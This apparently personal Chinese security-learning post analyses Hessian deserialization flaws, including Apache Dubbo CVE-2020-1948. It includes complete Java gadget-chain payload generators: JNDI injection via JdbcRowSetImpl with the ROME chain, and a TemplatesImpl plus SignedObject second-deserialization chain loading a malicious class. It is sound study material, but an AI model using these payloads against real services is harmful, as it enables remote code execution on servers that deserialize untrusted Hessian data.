Hessian反序列化分析
RPC协议
RPC全称为Remote Procedure Call Protocol（远程调用协议），RPC和之前学的RMI十分类似，都是远程调用服务，它们不同之处就是RPC是通过标准的二进制格式来定义请求的信息，这样跨平台和系统就更加方便
RPC协议的一次远程通信过程如下:
- 客户端发起请求，并按照RPC协议格式填充信息
- 填充完毕后将二进制格式文件转化为流，通过传输协议进行传输
- 服务端接收到流后，将其转换为二进制格式文件，并按照RPC协议格式获取请求的信息并进行处理
- 处理完毕后将结果按照RPC协议格式写入二进制格式文件中并返回
Hessian协议
Hessian是一个基于RPC的高性能二进制远程传输协议，官方对Java、Python、C++......语言都进行了实现，Hessian一般在Web服务中使用，在Java里它的使用方法很简单，它定义远程对象，并通过二进制的格式进行传输。
Hessian的简单使用
环境依赖
<dependency>
<groupId>com.caucho</groupId>
<artifactId>hessian</artifactId>
<version>4.0.63</version>
</dependency>
Demo
package org.example;
import java.io.Serializable;
public class Person implements Serializable {
public String name;
public int age;
public int getAge() {
return age;
}
public String getName() {
return name;
}
public void setAge(int age) {
this.age = age;
}
public void setName(String name) {
this.name = name;
}
}
package org.example;
import com.caucho.hessian.io.HessianInput;
import com.caucho.hessian.io.HessianOutput;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
public class Hessian_test {
public static <T> byte[] serialize(T o) throws IOException {
ByteArrayOutputStream bao = new ByteArrayOutputStream();
HessianOutput output = new HessianOutput(bao);
output.writeObject(o);
System.out.println(bao.toString());
return bao.toByteArray();
}
public static <T> T deserialize(byte[] bytes) throws IOException {
ByteArrayInputStream bis = new ByteArrayInputStream(bytes);
HessianInput input = new HessianInput(bis);
Object o = input.readObject();
return (T) o;
}
public static void main(String[] args) throws IOException {
Person person = new Person();
person.setName("F12");
person.setAge(20);
byte[] s = serialize(person);
System.out.println((Person) deserialize(s));
}
}
感觉就是ObjectStream的一个替换，跟原生的并没有太大差异
Hessian反序列化漏洞
package org.example;
import com.caucho.hessian.io.HessianInput;
import com.caucho.hessian.io.HessianOutput;
import com.sun.rowset.JdbcRowSetImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ToStringBean;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.Serializable;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.HashMap;
public class Hessian_JNDI implements Serializable {
public static <T> byte[] serialize(T o) throws IOException {
ByteArrayOutputStream bao = new ByteArrayOutputStream();
HessianOutput output = new HessianOutput(bao);
output.writeObject(o);
System.out.println(bao.toString());
return bao.toByteArray();
}
public static <T> T deserialize(byte[] bytes) throws IOException {
ByteArrayInputStream bai = new ByteArrayInputStream(bytes);
HessianInput input = new HessianInput(bai);
Object o = input.readObject();
return (T) o;
}
public static void setValue(Object obj, String name, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}
public static Object getValue(Object obj, String name) throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
return field.get(obj);
}
public static void main(String[] args) throws Exception {
JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
String url = "ldap://localhost:1099/EXP";
jdbcRowSet.setDataSourceName(url);
ToStringBean toStringBean = new ToStringBean(JdbcRowSetImpl.class,jdbcRowSet);
EqualsBean equalsBean = new EqualsBean(ToStringBean.class,toStringBean);
//手动生成HashMap，防止提前调用hashcode()
HashMap hashMap = makeMap(equalsBean,"1");
byte[] s = serialize(hashMap);
System.out.println(s);
System.out.println((HashMap)deserialize(s));
}
public static HashMap<Object, Object> makeMap ( Object v1, Object v2 ) throws Exception {
HashMap<Object, Object> s = new HashMap<>();
setValue(s, "size", 2);
Class<?> nodeC;
try {
nodeC = Class.forName("java.util.HashMap$Node");
}
catch ( ClassNotFoundException e ) {
nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);
Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
setValue(s, "table", tbl);
return s;
}
}
搭个ldap恶意服务，运行代码成功弹出计算器，分析一下流程，readObject处打个断点，在readObject中计算tag的值进行一个Switch，我们这里计算出来是77也就是M
跟进readMap
获取到一个空的Deserializer对象，直接跟进readMap
这里创建了一个Map对象，将我们的恶意序列化数据put进去，这里调用了2次readObject，因此我们会重复几次也会弹好几个计算器，重复过程结束后回到put方法，进入put触发的就是常规rome链，似乎非常的easy
Apache Dubbo Hessian反序列化漏洞(CVE-2020-1948)
环境搭建
直接偷大佬搭好的：https://github.com/Claradoll/Security_Learning
启动Dubbo之前得准备一些东西，需要安装Dubbo，选用Zookeeper作为注册中心(Registry)，Apache Dubbo框架的流程如下
- 首先服务容器加载并运行Provider
- Provider在启动时向注册中心Registry注册自己提供的服务
- Consumer在Registry处订阅Provider提供的服务
- 注册中心返回服务地址给Consumer
- Consumer根据Registry提供的服务地址调用Provider提供的服务
- Consumer和Provider定时向监控中心Monitor发送一些统计数据
https://dlcdn.apache.org/zookeeper/zookeeper-3.8.4/
下载好后配置一下conf文件夹里的zoo.cfg文件，一开始不叫这个名字，改一下，添加这两个东西，data和log目录自己创建
dataDir=D:\Environment\Java\apache-zookeeper-3.8.4-bin\data
dataLogDir=D:\Environment\Java\apache-zookeeper-3.8.4-bin\log
先启动zookeeper，bin目录下启动zkServer.cmd，然后IDEA里分别启动provider和consumer，访问这样就搭建成功了，consumer相当于客户端，provider就是服务端
反序列化漏洞分析
同样是JNDI注入触发rome链，攻击逻辑里面已经写好了，我们访问calc路由即可弹出计算器
这里分析一下Dubbo是怎么处理的，在服务端打个断点
再给DecodeableRpcInvocation的decode方法打个断点，方便调试
打完断点访问calc路由，进入decode方法
这一段代码获取了远程接口对象的路径和类型，以及dubbo的版本等等信息，但是在最后进行了反序列化，并且这里的in输入流是Hessian2对象
之后就是Hessian反序列化的流程了，为什么别的博主到这里tag变成了72，而我还是77，又一谜题，77常规的Hessian反序列化，就不往下分析了，可以去看看72的分析过程，不过大差不差
Hessian二次反序列化利用链
TemplatesImpl+SignedObject二次反序列化
上面确实有个疑惑是为什么要用JNDI，而不是单纯的TemplatesImpl链，在这里得到了解答，这是由于Hessian反序列化和Java原生反序列化的区别，如果用TemplatesImpl打的话，运行会报错
这是因为Tempaltes的_tfactory被transient修饰符修饰了，不可进行反序列化
那为什么原生的Java反序列化不会受到这个限制呢。这是因为原生反序列化过程中，假如类的readObject重写了，那就会调用它重写的逻辑，因此看看Templates类的readObject方法：
这里手动new了一个TransformerFactoryImpl实例，这样就不会遇到那种问题了
那既然如此，我们该如何绕过这个限制呢？思路其实很清晰，就是找一个类，那个类里有原生的readObject，这样就可以通过它触发二次反序列化，得以RCE，这个类也有一些要求，那就是要接上我们之前的Rome链子，在调用任意get和set那里接上，那么就要求目标类的get或者set方法中有readObject方法，刚好上篇讲的二次反序列化，这里就能够用到
package com.example.dubboconsumer.consumer;
import com.alibaba.com.caucho.hessian.io.Hessian2Input;
import com.alibaba.com.caucho.hessian.io.Hessian2Output;
import com.rometools.rome.feed.impl.EqualsBean;
import com.rometools.rome.feed.impl.ToStringBean;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.security.*;
import java.util.HashMap;
public class Hessian_TemplatesImpl {
public static void main(String[] args) throws Exception {
TemplatesImpl templatesimpl = new TemplatesImpl();
byte[] bytecodes = Files.readAllBytes(Paths.get("D:\\Java安全学习\\evilref.class"));
setValue(templatesimpl,"_name","aaa");
setValue(templatesimpl,"_bytecodes",new byte[][] {bytecodes});
setValue(templatesimpl, "_tfactory", new TransformerFactoryImpl());
ToStringBean toStringBean = new ToStringBean(Templates.class,templatesimpl);
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(123);
setValue(badAttributeValueExpException,"val",toStringBean);
KeyPairGenerator keyPairGenerator;
keyPairGenerator = KeyPairGenerator.getInstance("DSA");
keyPairGenerator.initialize(1024);
KeyPair keyPair = keyPairGenerator.genKeyPair();
PrivateKey privateKey = keyPair.getPrivate();
Signature signingEngine = Signature.getInstance("DSA");
SignedObject signedObject = new SignedObject(badAttributeValueExpException,privateKey,signingEngine);
ToStringBean toStringBean1 = new ToStringBean(SignedObject.class, signedObject);
EqualsBean equalsBean = new EqualsBean(ToStringBean.class,toStringBean1);
HashMap hashMap = makeMap(equalsBean, equalsBean);
byte[] payload = Hessian2_Serial(hashMap);
Hessian2_Deserial(payload);
}
public static byte[] Hessian2_Serial(Object o) throws IOException {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
Hessian2Output hessian2Output = new Hessian2Output(baos);
hessian2Output.writeObject(o);
hessian2Output.flushBuffer();
return baos.toByteArray();
}
public static Object Hessian2_Deserial(byte[] bytes) throws IOException {
ByteArrayInputStream bais = new ByteArrayInputStream(bytes);
Hessian2Input hessian2Input = new Hessian2Input(bais);
Object o = hessian2Input.readObject();
return o;
}
public static HashMap<Object, Object> makeMap (Object v1, Object v2 ) throws Exception {
HashMap<Object, Object> s = new HashMap<>();
setValue(s, "size", 2);
Class<?> nodeC;
try {
nodeC = Class.forName("java.util.HashMap$Node");
}
catch ( ClassNotFoundException e ) {
nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);
Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
setValue(s, "table", tbl);
return s;
}
public static void setValue(Object obj, String name, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}
}
运行即可弹计算器
